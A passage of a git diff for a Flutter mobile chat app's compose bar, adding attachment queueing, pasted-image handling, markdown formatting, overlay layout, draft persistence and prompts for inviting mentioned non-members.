+        if (context.mounted) {
+          uploadError.value = _formatUploadError(error);
+        }
+      }
+    }
+
+    void queueImages(List<XFile> images, {bool deleteAfterUse = false}) {
+      if (images.isEmpty) return;
+      draftRevision.value += 1;
+      uploadError.value = null;
+      attachments.value = [
+        ...attachments.value,
+        for (final image in images)
+          _PendingAttachment(
+            file: image,
+            kind: _PendingAttachmentKind.image,
+            deleteAfterUse: deleteAfterUse,
+          ),
+      ];
+    }
+
+    Future<void> retainAndQueueImages(List<XFile> images) =>
+        _retainAndQueueImages(context, images, queueImages);
+
+    Widget buildContextMenu(
+      BuildContext context,
+      EditableTextState editableTextState,
+    ) {
+      void pasteImage() {
+        ContextMenuController.removeAny();
+        unawaited(() async {
+          try {
+            final image = await ref
+                .read(mediaUploadServiceProvider)
+                .readClipboardImage();
+            if (image != null && context.mounted) {
+              queueAttachment(image, _PendingAttachmentKind.image);
+            } else if (context.mounted) {
+              uploadError.value = 'Unable to read pasted image';
+            }
+          } catch (error) {
+            if (context.mounted) uploadError.value = _formatUploadError(error);
+          }
+        }());
+      }
+
+      if (defaultTargetPlatform == TargetPlatform.iOS &&
+          SystemContextMenu.isSupportedByField(editableTextState)) {
+        return SystemContextMenu.editableText(
+          editableTextState: editableTextState,
+          items: [
+            if (clipboardHasImage.value)
+              IOSSystemContextMenuItemCustom(
+                title: 'Paste Image',
+                onPressed: pasteImage,
+              ),
+            ...SystemContextMenu.getDefaultItems(editableTextState),
+          ],
+        );
+      }
+
+      final buttonItems = [...editableTextState.contextMenuButtonItems];
+      if (defaultTargetPlatform == TargetPlatform.iOS &&
+          clipboardHasImage.value) {
+        buttonItems.insert(
+          0,
+          ContextMenuButtonItem(label: 'Paste Image', onPressed: pasteImage),
+        );
+      }
+      return AdaptiveTextSelectionToolbar.buttonItems(
+        anchors: editableTextState.contextMenuAnchors,
+        buttonItems: buttonItems,
+      );
+    }
+
+    void uploadPastedImage(KeyboardInsertedContent content) {
+      final bytes = content.data;
+      if (bytes == null || bytes.isEmpty) {
+        uploadError.value = 'Unable to read pasted image';
+        return;
+      }
+
+      queueAttachment(
+        XFile.fromData(bytes, name: 'Pasted image'),
+        _PendingAttachmentKind.image,
+      );
+    }
+
+    // Wrap (or insert) markdown formatting around the current selection.
+    void applyFormat(String prefix, [String? suffix]) {
+      suffix ??= prefix;
+      final text = controller.text;
+      final sel = controller.selection;
+      if (!sel.isValid) return;
+
+      isModifyingText.value = true;
+      try {
+        if (sel.isCollapsed) {
+          final offset = sel.baseOffset;
+          final updated =
+              '${text.substring(0, offset)}$prefix$suffix${text.substring(offset)}';
+          controller.text = updated;
+          controller.selection = TextSelection.collapsed(
+            offset: offset + prefix.length,
+          );
+        } else {
+          final selected = text.substring(sel.start, sel.end);
+          final updated =
+              '${text.substring(0, sel.start)}$prefix$selected$suffix${text.substring(sel.end)}';
+          controller.text = updated;
+          controller.selection = TextSelection.collapsed(
+            offset: sel.start + prefix.length + selected.length + suffix.length,
+          );
+        }
+      } finally {
+        isModifyingText.value = false;
+      }
+      focusNode.requestFocus();
+    }
+
+    // ----- Widget tree ----------------------------------------------------
+
+    void chooseAttachment(
+      Future<void> Function() choose, {
+      String? errorMessage,
+    }) {
+      attachmentSurface.value = _AttachmentSurface.closed;
+      unawaited(() async {
+        try {
+          await choose();
+        } catch (error) {
+          if (context.mounted) {
+            uploadError.value = errorMessage ?? _formatUploadError(error);
+          }
+        }
+      }());
+    }
+
+    void toggleAttachments() {
+      attachmentSurface.value = switch (attachmentSurface.value) {
+        _AttachmentSurface.closed => _AttachmentSurface.menu,
+        _AttachmentSurface.menu => _AttachmentSurface.closed,
+        _AttachmentSurface.camera ||
+        _AttachmentSurface.photos => _AttachmentSurface.menu,
+      };
+    }
+
+    void handleAttachmentTap(BuildContext triggerContext) {
+      if (defaultTargetPlatform != TargetPlatform.iOS ||
+          attachmentSurface.value != _AttachmentSurface.closed) {
+        toggleAttachments();
+        return;
+      }
+
+      unawaited(
+        iosAttachmentPopover
+            .present(
+              sourceContext: triggerContext,
+              onCapture: (image) => retainAndQueueImages([image]),
+              onChoosePhotos: retainAndQueueImages,
+              onAllPhotos: () => chooseAttachment(() async {
+                final photos = await ref
+                    .read(mediaUploadServiceProvider)
+                    .pickGalleryImages();
+                queueImages(photos);
+              }, errorMessage: 'Unable to open your photo library.'),
+              onVideo: () => chooseAttachment(() {
+                final service = ref.read(mediaUploadServiceProvider);
+                return pickThenQueue(
+                  pick: service.pickGalleryVideo,
+                  kind: _PendingAttachmentKind.video,
+                );
+              }),
+              onFiles: () => chooseAttachment(() {
+                final service = ref.read(mediaUploadServiceProvider);
+                return pickThenQueue(
+                  pick: service.pickAttachmentFile,
+                  kind: _PendingAttachmentKind.file,
+                );
+              }),
+            )
+            .then((didPresent) {
+              if (!didPresent && context.mounted) {
+                focusNode.unfocus();
+                toggleAttachments();
+              }
+            }),
+      );
+    }
+
+    void openCamera() {
+      focusNode.unfocus();
+      attachmentSurface.value = _AttachmentSurface.camera;
+    }
+
+    final motionDuration = reducedMotion
+        ? Duration.zero
+        : Duration(
+            milliseconds:
+                attachmentSurface.value == _AttachmentSurface.camera ||
+                    attachmentSurface.value == _AttachmentSurface.photos
+                ? 320
+                : 250,
+          );
+    final suggestionOverlayController = useMemoized(
+      OverlayPortalController.new,
+    );
+
+    useEffect(() {
+      WidgetsBinding.instance.addPostFrameCallback((_) {
+        if (context.mounted) suggestionOverlayController.show();
+      });
+      return null;
+    }, [suggestionOverlayController]);
+
+    void expandComposer() {
+      if (isComposerExpanded.value) return;
+      attachmentSurface.value = _AttachmentSurface.closed;
+      isComposerExpanded.value = true;
+      WidgetsBinding.instance.addPostFrameCallback((_) {
+        if (context.mounted) focusNode.requestFocus();
+      });
+    }
+
+    final suggestionPanel = channelSuggestions.isNotEmpty
+        ? KeyedSubtree(
+            key: const ValueKey('channel-suggestions'),
+            child: _ChannelSuggestions(
+              suggestions: channelSuggestions,
+              onSelect: insertChannel,
+            ),
+          )
+        : suggestions.isNotEmpty
+        ? KeyedSubtree(
+            key: const ValueKey('mention-suggestions'),
+            child: _MentionSuggestions(
+              suggestions: suggestions,
+              userCache: userCache,
+              currentPubkey: currentPubkey,
+              isDmChannel: isDmChannel,
+              onSelect: insertMention,
+            ),
+          )
+        : const SizedBox.shrink(key: ValueKey('no-suggestions'));
+    Widget buildOverlayPanel(_AttachmentSurface surface) {
+      return _AttachmentSurfacePanel(
+        key: ValueKey(
+          surface == _AttachmentSurface.closed
+              ? 'composer-suggestions'
+              : 'attachment-surface',
+        ),
+        surface: surface,
+        suggestionPanel: suggestionPanel,
+        onBack: () => attachmentSurface.value = _AttachmentSurface.menu,
+        onCamera: openCamera,
+        onPhotos: () {
+          focusNode.unfocus();
+          attachmentSurface.value = _AttachmentSurface.photos;
+        },
+        onVideo: () => chooseAttachment(() {
+          final service = ref.read(mediaUploadServiceProvider);
+          return pickThenQueue(
+            pick: service.pickGalleryVideo,
+            kind: _PendingAttachmentKind.video,
+          );
+        }),
+        onFiles: () => chooseAttachment(() {
+          final service = ref.read(mediaUploadServiceProvider);
+          return pickThenQueue(
+            pick: service.pickAttachmentFile,
+            kind: _PendingAttachmentKind.file,
+          );
+        }),
+        onCapture: (image) async {
+          attachmentSurface.value = _AttachmentSurface.closed;
+          await retainAndQueueImages([image]);
+        },
+        onPickAllPhotos: ref.read(mediaUploadServiceProvider).pickGalleryImages,
+        onChoosePhotos: (photos) async {
+          attachmentSurface.value = _AttachmentSurface.closed;
+          await retainAndQueueImages(photos);
+        },
+        onChooseAllPhotos: (photos) async {
+          attachmentSurface.value = _AttachmentSurface.closed;
+          queueImages(photos);
+        },
+      );
+    }
+
+    // Suggestions and attachments live in the overlay so showing them cannot
+    // reflow the composer. Both stay anchored just above the capsule.
+    final composerWidthFactor = 0.85 + 0.15 * composerExpansionProgress;
+    final hasPendingUploads = uploadingCount.value > 0;
+    return _ComposerDockFrame(
+      widthFactor: composerWidthFactor,
+      child: Column(
+        mainAxisSize: MainAxisSize.min,
+        children: [
+          _UploadProgressMotion(
+            visible: hasPendingUploads,
+            progress: uploadProgress.value,
+            reducedMotion: reducedMotion,
+            onCancel: () {
+              activeUploadCancellation.value?.cancel();
+              uploadGeneration.value += 1;
+              uploadingCount.value = 0;
+              uploadProgress.value = 0;
+            },
+          ),
+          _ComposerOverlayPortal(
+            controller: suggestionOverlayController,
+            attachmentSurface: attachmentSurface,
+            reducedMotion: reducedMotion,
+            buildOverlayPanel: buildOverlayPanel,
+            onDismissAttachmentSurface: () {
+              attachmentSurface.value = _AttachmentSurface.closed;
+            },
+            child: _ComposeBarLayout(
+              attachments: attachments.value,
+              onRemoveAttachment: removeAttachment,
+              uploadError: uploadError.value,
+              isExpanded: isComposerExpanded.value,
+              controller: controller,
+              focusNode: focusNode,
+              contextMenuBuilder: buildContextMenu,
+              onContentInserted: uploadPastedImage,
+              onSend: () => unawaited(send()),
+              resolvedHint: resolvedHint,
+              attachmentSurface: attachmentSurface.value,
+              onAttachmentTap: handleAttachmentTap,
+              onExpand: expandComposer,
+              expansionValue: composerExpansionValue,
+              expansionProgress: composerExpansionProgress,
+              formattingOpen: showFormatting.value,
+              onCloseFormatting: () => showFormatting.value = false,
+              motionDuration: motionDuration,
+              onFormat: applyFormat,
+              onMention: () {
+                attachmentSurface.value = _AttachmentSurface.closed;
+                triggerMention();
+              },
+              onChannel: () {
+                attachmentSurface.value = _AttachmentSurface.closed;
+                triggerChannel();
+              },
+              onEmoji: () {
+                attachmentSurface.value = _AttachmentSurface.closed;
+                isEmojiPickerOpen.value = true;
+                _showComposerEmojiPicker(context, insertEmoji, () {
+                  if (!context.mounted) return;
+                  isEmojiPickerOpen.value = false;
+                  focusNode.requestFocus();
+                });
+              },
+              onOpenFormatting: () {
+                attachmentSurface.value = _AttachmentSurface.closed;
+                showFormatting.value = true;
+              },
+              hasPendingUploads: hasPendingUploads,
+              canSend: controller.text.trim().isNotEmpty || hasAttachments,
+              isSending: isSending.value,
+            ),
+          ),
+        ],
+      ),
+    );
+  }
+}
diff --git a/mobile/lib/features/channels/compose_bar/dock.dart b/mobile/lib/features/channels/compose_bar/dock.dart
new file mode 100644
index 0000000000..f19fe19e46
--- /dev/null
+++ b/mobile/lib/features/channels/compose_bar/dock.dart
@@ -0,0 +1,144 @@
+part of '../compose_bar.dart';
+
+class _ComposerDockFrame extends StatelessWidget {
+  final double widthFactor;
+  final Widget child;
+
+  const _ComposerDockFrame({required this.widthFactor, required this.child});
+
+  @override
+  Widget build(BuildContext context) {
+    final backdropHeight = mobileTabFooterBackdropHeight(context);
+    return Stack(
+      clipBehavior: Clip.none,
+      children: [
+        Positioned(
+          key: const ValueKey('composer-footer-gradient'),
+          left: 0,
+          right: 0,
+          bottom: 0,
+          height: backdropHeight,
+          child: IgnorePointer(
+            child: MobileTabFooterBackdrop(height: backdropHeight),
+          ),
+        ),
+        Padding(
+          padding: EdgeInsets.only(
+            left: Grid.twelve,
+            right: Grid.twelve,
+            bottom: MediaQuery.viewPaddingOf(context).bottom + Grid.xxs,
+          ),
+          child: Align(
+            alignment: Alignment.bottomCenter,
+            child: FractionallySizedBox(
+              key: const ValueKey('composer-width-transition'),
+              widthFactor: widthFactor,
+              child: child,
+            ),
+          ),
+        ),
+      ],
+    );
+  }
+}
+
+class _ComposerOverlayPortal extends StatelessWidget {
+  final OverlayPortalController controller;
+  final ValueListenable<_AttachmentSurface> attachmentSurface;
+  final bool reducedMotion;
+  final Widget Function(_AttachmentSurface surface) buildOverlayPanel;
+  final VoidCallback onDismissAttachmentSurface;
+  final Widget child;
+
+  const _ComposerOverlayPortal({
+    required this.controller,
+    required this.attachmentSurface,
+    required this.reducedMotion,
+    required this.buildOverlayPanel,
+    required this.onDismissAttachmentSurface,
+    required this.child,
+  });
+
+  @override
+  Widget build(BuildContext context) {
+    return OverlayPortal.overlayChildLayoutBuilder(
+      controller: controller,
+      overlayChildBuilder: (context, layoutInfo) {
+        final composerOrigin = MatrixUtils.transformPoint(
+          layoutInfo.childPaintTransform,
+          Offset.zero,
+        );
+        return ValueListenableBuilder<_AttachmentSurface>(
+          valueListenable: attachmentSurface,
+          builder: (context, surface, _) {
+            final surfaceDuration = reducedMotion
+                ? Duration.zero
+                : Duration(
+                    milliseconds:
+                        surface == _AttachmentSurface.camera ||
+                            surface == _AttachmentSurface.photos
+                        ? 320
+                        : 250,
+                  );
+            final expandedSurfaceCoversComposer =
+                surface == _AttachmentSurface.camera ||
+                surface == _AttachmentSurface.photos;
+            final surfaceLeft = expandedSurfaceCoversComposer
+                ? Grid.twelve
+                : composerOrigin.dx;
+            final surfaceWidth = expandedSurfaceCoversComposer
+                ? layoutInfo.overlaySize.width - (Grid.twelve * 2)
+                : layoutInfo.childSize.width;
+            final overlayAnchorY =
+                composerOrigin.dy +
+                (expandedSurfaceCoversComposer
+                    ? layoutInfo.childSize.height + Grid.twelve
+                    : 0);
+            return Stack(
+              children: [
+                if (surface != _AttachmentSurface.closed)
+                  Positioned(
+                    left: 0,
+                    top: 0,
+                    right: 0,
+                    height: composerOrigin.dy,
+                    child: ExcludeSemantics(
+                      child: GestureDetector(
+                        key: const ValueKey('attachment-dismiss-barrier'),
+                        behavior: HitTestBehavior.opaque,
+                        onTap: onDismissAttachmentSurface,
+                      ),
+                    ),
+                  ),
+                AnimatedPositioned(
+                  duration: surfaceDuration,
+                  curve:
+                      surface == _AttachmentSurface.camera ||
+                          surface == _AttachmentSurface.photos
+                      ? const Cubic(0.34, 1.25, 0.64, 1)
+                      : const Cubic(0.22, 1, 0.36, 1),
+                  left: surfaceLeft,
+                  bottom: layoutInfo.overlaySize.height - overlayAnchorY,
+                  width: surfaceWidth,
+                  child: ClipRect(
+                    child: Padding(
+                      padding: const EdgeInsets.only(bottom: Grid.xxs),
+                      child: surface == _AttachmentSurface.closed
+                          ? _SuggestionPanelMotion(
+                              duration: surfaceDuration,
+                              alignment: Alignment.bottomLeft,
+                              child: buildOverlayPanel(surface),
+                            )
+                          : buildOverlayPanel(surface),
+                    ),
+                  ),
+                ),
+              ],
+            );
+          },
+        );
+      },
+      child: child,
+    );
+  }
+}
diff --git a/mobile/lib/features/channels/compose_bar/draft_lifecycle.dart b/mobile/lib/features/channels/compose_bar/draft_lifecycle.dart
new file mode 100644
index 0000000000..88d1c8edac
--- /dev/null
+++ b/mobile/lib/features/channels/compose_bar/draft_lifecycle.dart
@@ -0,0 +1,60 @@
+part of '../compose_bar.dart';
+
+void _useComposeDraftLifecycle({
+  required WidgetRef ref,
+  required _MarkdownEditingController controller,
+  required String draftKey,
+  required String channelId,
+  required String? threadHeadId,
+  required String draftIdentity,
+  required ObjectRef<int> draftRevision,
+  required ValueNotifier<List<_PendingAttachment>> attachments,
+  required ObjectRef<int> uploadGeneration,
+  required ObjectRef<UploadCancellationToken?> activeUploadCancellation,
+  required ValueNotifier<int> uploadingCount,
+  required ValueNotifier<bool> isSending,
+  required ValueNotifier<_AttachmentSurface> attachmentSurface,
+  required ValueNotifier<String?> uploadError,
+  required _IOSAttachmentPopoverController iosAttachmentPopover,
+}) {
+  final lastDraftIdentity = useRef<String?>(null);
+  useEffect(() {
+    final identityChanged =
+        lastDraftIdentity.value != null &&
+        lastDraftIdentity.value != draftIdentity;
+    lastDraftIdentity.value = draftIdentity;
+    final saved = ref.read(composeDraftsProvider.notifier).textFor(draftKey);
+    if (identityChanged) {
+      draftRevision.value += 1;
+      uploadGeneration.value += 1;
+      activeUploadCancellation.value?.cancel();
+      activeUploadCancellation.value = null;
+      uploadingCount.value = 0;
+      isSending.value = false;
+      attachmentSurface.value = _AttachmentSurface.closed;
+      uploadError.value = null;
+      unawaited(iosAttachmentPopover.dispose());
+      final staleAttachments = attachments.value;
+      attachments.value = const [];
+      unawaited(_deleteOwnedAttachments(staleAttachments));
+      controller.text = saved ?? '';
+    } else if (saved != null && controller.text.isEmpty) {
+      controller.text = saved;
+    }
+
+    void persistDraft() {
+      draftRevision.value += 1;
+      ref
+          .read(composeDraftsProvider.notifier)
+          .save(
+            key: draftKey,
+            channelId: channelId,
+            threadHeadId: threadHeadId,
+            text: controller.text,
+          );
+    }
+
+    controller.addListener(persistDraft);
+    return () => controller.removeListener(persistDraft);
+  }, [controller, draftKey, draftIdentity]);
+}
diff --git a/mobile/lib/features/channels/compose_bar/formatting_toolbar.dart b/mobile/lib/features/channels/compose_bar/formatting_toolbar.dart
index c9089a99cb..c6dc65a8fa 100644
--- a/mobile/lib/features/channels/compose_bar/formatting_toolbar.dart
+++ b/mobile/lib/features/channels/compose_bar/formatting_toolbar.dart
@@ -58,7 +58,7 @@ class _FormatButton extends StatelessWidget {
       message: tooltip,
       child: InkWell(
         borderRadius: BorderRadius.circular(Radii.sm),
-        onTap: onTap,
+        onTap: () => _runComposerAction(onTap),
         child: Padding(
           padding: const EdgeInsets.all(Grid.xxs),
           child: Icon(icon, size: 18, color: context.colors.primary),
@@ -80,7 +80,7 @@ class _ComposeAction extends StatelessWidget {
       width: 36,
       height: 36,
       child: IconButton(
-        onPressed: onTap,
+        onPressed: () => _runComposerAction(onTap),
         icon: Icon(icon, size: 20, color: context.colors.onSurfaceVariant),
         padding: EdgeInsets.zero,
         visualDensity: VisualDensity.compact,
diff --git a/mobile/lib/features/channels/compose_bar/helpers.dart b/mobile/lib/features/channels/compose_bar/helpers.dart
index 145d28fb44..f8cff238e5 100644
--- a/mobile/lib/features/channels/compose_bar/helpers.dart
+++ b/mobile/lib/features/channels/compose_bar/helpers.dart
@@ -1,6 +1,47 @@
 part of '../compose_bar.dart';
 
 const _typingThrottleMs = 3000;
+
+class _ComposerKeyboardMetricsObserver with WidgetsBindingObserver {
+  final FlutterView view;
+  final VoidCallback onKeyboardHidden;
+  bool _wasVisible;
+
+  _ComposerKeyboardMetricsObserver({
+    required this.view,
+    required this.onKeyboardHidden,
+  }) : _wasVisible = view.viewInsets.bottom > 0;
+
+  @override
+  void didChangeMetrics() {
+    final isVisible = view.viewInsets.bottom > 0;
+    if (_wasVisible && !isVisible) onKeyboardHidden();
+    _wasVisible = isVisible;
+  }
+}
+
+void _runComposerAction(VoidCallback action) {
+  unawaited(HapticFeedback.selectionClick());
+  action();
+}
+
+void _showComposerEmojiPicker(
+  BuildContext context,
+  ValueChanged<String> onSelect,
+  VoidCallback onDismiss,
+) {
+  showEmojiPicker(
+    context: context,
+    onSelect: (emoji) => _runComposerAction(() => onSelect(emoji)),
+    onDismiss: onDismiss,
+  );
+}
+
+void _dismissComposerKeyboard(FocusNode focusNode) {
+  focusNode.unfocus();
+  unawaited(SystemChannels.textInput.invokeMethod<void>('TextInput.hide'));
+}
+
 const _pastedImageMimeTypes = <String>[
   'image/jpeg',
   'image/jpg',
@@ -102,33 +143,48 @@ bool hasMention(String text, String name) {
 /// cancels the send and keeps the draft.
 enum _NonMemberMentionChoice { invite, sendWithoutInviting }
 
+/// User-facing text for a failed add or send.
+String _composeSendErrorMessage(Object error) {
+  if (error is AddMembersException) return error.message;
+  return error.toString().replaceFirst('Exception: ', '');
+}
+
 /// Ask whether to invite mentioned humans who aren't channel members, or
 /// send without inviting them. Mirrors desktop's `NonMemberMentionDialog`.
+/// [canInvite] false (a private channel the sender doesn't own/administer)
+/// drops the Invite action — the relay rejects that add, so offering it would
+/// only produce an error.
 Future<_NonMemberMentionChoice?> _promptNonMemberMention(
   BuildContext context, {
   required List<String> names,
+  required bool canInvite,
 }) {
   final verb = names.length == 1 ? 'is' : 'are';
-  return showDialog<_NonMemberMentionChoice>(
+  return showBuzzDialog<_NonMemberMentionChoice>(
     context: context,
     builder: (dialogContext) => AlertDialog(
       title: const Text('Mention people outside this channel?'),
       content: Text(
-        '${names.join(', ')} $verb not in this channel. Invite them to '
-        'the channel, or send without inviting them.',
+        canInvite
+            ? '${names.join(', ')} $verb not in this channel. Invite them to '
+                  'the channel, or send without inviting them.'
+            : '${names.join(', ')} $verb not in this channel. '
+                  '$privateChannelAddDeniedMessage You can still send without '
+                  'inviting them.',
       ),
       actions: [
         TextButton(
           onPressed: () => Navigator.of(
             dialogContext,
           ).pop(_NonMemberMentionChoice.sendWithoutInviting),
-          child: const Text('Do nothing'),
-        ),
-        TextButton(
-          onPressed: () =>
-              Navigator.of(dialogContext).pop(_NonMemberMentionChoice.invite),
-          child: const Text('Invite'),
+          child: Text(canInvite ? 'Do nothing' : 'Send anyway'),
         ),
+        if (canInvite)
+          TextButton(
+            onPressed: () =>
+                Navigator.of(dialogContext).pop(_NonMemberMentionChoice.invite),
+            child: const Text('Invite'),
+          ),
       ],
     ),
   );
@@ -178,3 +234,217 @@ void _sendTypingIndicator(
     // Fire-and-forget — typing indicator failure is non-fatal.
   }
 }
+
+/// Reports a send that was cancelled because the active community changed.
+///
+/// The send path is fire-and-forget, so a `StateError` escaping it would be
+/// silent. The composer's own error line cannot carry this message either: the
+/// identity change that causes the failure also resets that state on the next
+/// frame, so [messenger] must be resolved before the send's first `await`.
+void _reportSendCancelledByCommunitySwitch(ScaffoldMessengerState? messenger) {
+  messenger?.showSnackBar(
+    const SnackBar(content: Text('Message not sent: the community changed')),
+  );
+}
+
+/// What an add attempt left undone: who is still a non-member, and why.
+@immutable
+class _NonMemberAddOutcome {
+  final List<String> notAdded;
+  final List<String> errors;
+
+  const _NonMemberAddOutcome({required this.notAdded, required this.errors});
+
+  static const empty = _NonMemberAddOutcome(notAdded: [], errors: []);
+}
+
+/// Adds mentioned non-members to the channel before a send.
+///
+/// Agents are added silently with the `bot` role; humans are only passed here
+/// after they have been explicitly invited from the mention prompt.
+///
+/// A rejection is reported, never thrown: the send is fire-and-forget, so an
+/// escaping error would drop the message with nothing shown. [StateError] still
+/// propagates — a community switch must cancel the whole send.
+Future<_NonMemberAddOutcome> _addMentionedNonMembers(
+  ChannelActions channelActions, {
+  required String channelId,
+  required List<String> agentPubkeys,
+  required List<String> humanPubkeys,
+  required bool canAddMembers,
+}) async {
+  final pending = [
+    if (agentPubkeys.isNotEmpty) (agentPubkeys, 'bot'),
+    if (humanPubkeys.isNotEmpty) (humanPubkeys, 'member'),
+  ];
+  if (pending.isEmpty) return _NonMemberAddOutcome.empty;
+
+  // A plain member of a private channel cannot add anyone: skip the doomed
+  // kind:9000 rather than trading it for a relay rejection.
+  if (!canAddMembers) {
+    return _NonMemberAddOutcome(
+      notAdded: [for (final (pubkeys, _) in pending) ...pubkeys],
+      errors: const [privateChannelAddDeniedMessage],
+    );
+  }
+
+  final notAdded = <String>[];
+  final errors = <String>[];
+  for (final (pubkeys, role) in pending) {
+    try {
+      await channelActions.addMembers(
+        channelId: channelId,
+        pubkeys: pubkeys,
+        role: role,
+      );
+    } on StateError {
+      rethrow;
+    } catch (error) {
+      notAdded.addAll(
+        error is AddMembersException ? error.failures.keys : pubkeys,
+      );
+      errors.add(_composeSendErrorMessage(error));
+    }
+  }
+  return _NonMemberAddOutcome(notAdded: notAdded, errors: errors);
+}
+
+/// Mentioned identities that aren't in the channel yet, plus whether the sender
+/// is allowed to add them at all.
+@immutable
+class _NonMemberMentionScan {
+  final String channelId;
+  final List<String> agentPubkeys;
+  final List<MentionCandidate> humans;
+  final bool canAddMembers;
+
+  const _NonMemberMentionScan({
+    required this.channelId,
+    required this.agentPubkeys,
+    required this.humans,
+    required this.canAddMembers,
+  });
+}
+
+/// Resolves which mentioned identities are non-members, and whether this
+/// identity may add them (see [Channel.canAddMembers]). DMs are skipped: their
+/// participant set is fixed at creation.
+Future<_NonMemberMentionScan> _scanNonMemberMentions(
+  WidgetRef ref, {
+  required String channelId,
+  required List<MentionCandidate> selectedMentions,
+  required String? currentPubkey,
+}) async {
+  final none = _NonMemberMentionScan(
+    channelId: channelId,
+    agentPubkeys: const [],
+    humans: const [],
+    canAddMembers: true,
+  );
+  if (selectedMentions.isEmpty) return none;
+
+  final channel = (await ref.read(
+    channelsProvider.future,
+  )).firstWhere((candidate) => candidate.id == channelId);
+  if (channel.isDm) return none;
+
+  final members = await ref.read(channelMembersProvider(channelId).future);
+  final memberPubkeys = {
+    for (final member in members) member.pubkey.toLowerCase(),
+  };
+  String? selfRole;
+  if (currentPubkey != null) {
+    final self = currentPubkey.toLowerCase();
+    for (final member in members) {
+      if (member.pubkey.toLowerCase() == self) {
+        selfRole = member.role;
+        break;
+      }
+    }
+  }
+
+  final agentPubkeys = <String>[];
+  final humans = <MentionCandidate>[];
+  final seen = <String>{};
+  for (final candidate in selectedMentions) {
+    final pubkey = candidate.pubkey.toLowerCase();
+    if (memberPubkeys.contains(pubkey) || !seen.add(pubkey)) continue;
+    if (candidate.isAgent) {
+      agentPubkeys.add(pubkey);
+    } else {
+      humans.add(candidate);
+    }
+  }
+
+  return _NonMemberMentionScan(
+    channelId: channelId,
+    agentPubkeys: agentPubkeys,
+    humans: humans,
+    canAddMembers: channel.canAddMembers(selfRole),
+  );
+}
+
+/// The p-tags and `mention` reference tags an outgoing message should carry.
+///
+/// Anyone who ends up *not* added is demoted from a p-tag to a reference tag so
+/// their name still renders without notifying a non-member — mirrors desktop's
+/// `mergeOutgoingTagsWithReferenceMentions`.
+class _OutgoingMentions {
+  List<String> pubkeys;
+  final List<List<String>> referenceTags = [];
+  List<String> _invitedHumanPubkeys = const [];
+
+  _OutgoingMentions(List<MentionCandidate> selectedMentions)
+    : pubkeys = LinkedHashSet<String>.from(
+        selectedMentions.map((candidate) => candidate.pubkey.toLowerCase()),
+      ).toList();
+
+  void demote(Iterable<String> demoted) {
+    final excluded = {for (final pubkey in demoted) pubkey.toLowerCase()};
+    if (excluded.isEmpty) return;
+    pubkeys = [
+      for (final pubkey in pubkeys)
+        if (!excluded.contains(pubkey)) pubkey,
+    ];
+    referenceTags.addAll([
+      for (final pubkey in excluded) ['mention', pubkey],
+    ]);
+  }
+
+  /// Applies the mention prompt's outcome: invite them, or send without.
+  void resolveHumanChoice(
+    _NonMemberMentionChoice choice,
+    List<MentionCandidate> humans,
+  ) {
+    final humanPubkeys = [
+      for (final candidate in humans) candidate.pubkey.toLowerCase(),
+    ];
+    switch (choice) {
+      case _NonMemberMentionChoice.invite:
+        _invitedHumanPubkeys = humanPubkeys;
+      case _NonMemberMentionChoice.sendWithoutInviting:
+        demote(humanPubkeys);
+    }
+  }
+
+  /// Adds the scanned non-members, demoting and reporting whatever didn't land.
+  Future<void> addNonMembers(
+    ChannelActions channelActions, {
+    required _NonMemberMentionScan scan,
+    required ScaffoldMessengerState? messenger,
+  }) async {
+    final outcome = await _addMentionedNonMembers(
+      channelActions,
+      channelId: scan.channelId,
+      agentPubkeys: scan.agentPubkeys,
+      humanPubkeys: _invitedHumanPubkeys,
+      canAddMembers: scan.canAddMembers,
+    );
+    demote(outcome.notAdded);
+    if (outcome.errors.isNotEmpty) {
+      messenger?.showSnackBar(
+        SnackBar(content: Text(outcome.errors.join(' '))),
+      );
+    }
+  }
+}
diff --git a/mobile/lib/features/channels/compose_bar/ios_photo_picker.dart b/mobile/lib/features/channels/compose_bar/ios_photo_picker.dart
index 039b5160a3..0548d73fd2 100644
--- a/mobile/lib/features/channels/compose_bar/ios_photo_picker.dart
+++ b/mobile/lib/features/channels/compose_bar/ios_photo_picker.dart
@@ -9,12 +9,14 @@ class _IOSInlinePhotoPicker extends HookWidget {
   final VoidCallback onBack;
   final Future<List<XFile>> Function() onPickAllPhotos;
   final Future<void> Function(List<XFile> photos) onChoosePhotos;
+  final Future<void> Function(List<XFile> photos) onChooseAllPhotos;
   final Widget fallback;
 
   const _IOSInlinePhotoPicker({
     required this.onBack,
     required this.onPickAllPhotos,
     required this.onChoosePhotos,
+    required this.onChooseAllPhotos,
     required this.fallback,
   });
 
@@ -97,7 +99,7 @@ class _IOSInlinePhotoPicker extends HookWidget {
       try {
         final photos = await onPickAllPhotos();
         if (photos.isNotEmpty) {
-          await onChoosePhotos(photos);
+          await onChooseAllPhotos(photos);
         }
       } catch (_) {
         if (context.mounted) {
@@ -146,7 +148,9 @@ class _IOSInlinePhotoPicker extends HookWidget {
                 ),
                 child: IconButton(
                   key: const ValueKey('ios-inline-photo-picker-back'),
-                  onPressed: isProcessing.value ? null : onBack,
+                  onPressed: isProcessing.value
+                      ? null
+                      : () => _runComposerAction(onBack),
                   tooltip: 'Back to attachment options',
                   icon: const Icon(
                     LucideIcons.chevronLeft,
@@ -164,11 +168,12 @@ class _IOSInlinePhotoPicker extends HookWidget {
               child: FilledButton(
                 key: const ValueKey('ios-inline-photo-picker-select'),
                 onPressed: canSelect
-                    ? submitSelection
+                    ? () =>
+                          _runComposerAction(() => unawaited(submitSelection()))
                     : selectedCount.value == 0 &&
                           !isPreparingSelection.value &&
                           !isProcessing.value
-                    ? openAllPhotos
+                    ? () => _runComposerAction(() => unawaited(openAllPhotos()))
                     : null,
                 style: FilledButton.styleFrom(
                   backgroundColor: Colors.black.withValues(alpha: 0.76),
diff --git a/mobile/lib/features/channels/compose_bar/layout.dart b/mobile/lib/features/channels/compose_bar/layout.dart
index 31b930e36d..029a4368e2 100644
--- a/mobile/lib/features/channels/compose_bar/layout.dart
+++ b/mobile/lib/features/channels/compose_bar/layout.dart
@@ -1,9 +1,8 @@
 part of '../compose_bar.dart';
 
 class _ComposeBarLayout extends StatelessWidget {
-  final List<BlobDescriptor> attachments;
-  final int uploadingCount;
-  final ValueChanged<String> onRemoveAttachment;
+  final List<_PendingAttachment> attachments;
+  final ValueChanged<int> onRemoveAttachment;
   final String? uploadError;
   final bool isExpanded;
   final TextEditingController controller;
@@ -25,12 +24,12 @@ class _ComposeBarLayout extends StatelessWidget {
   final VoidCallback onChannel;
   final VoidCallback onEmoji;
   final VoidCallback onOpenFormatting;
+  final bool canSend;
   final bool hasPendingUploads;
   final bool isSending;
 
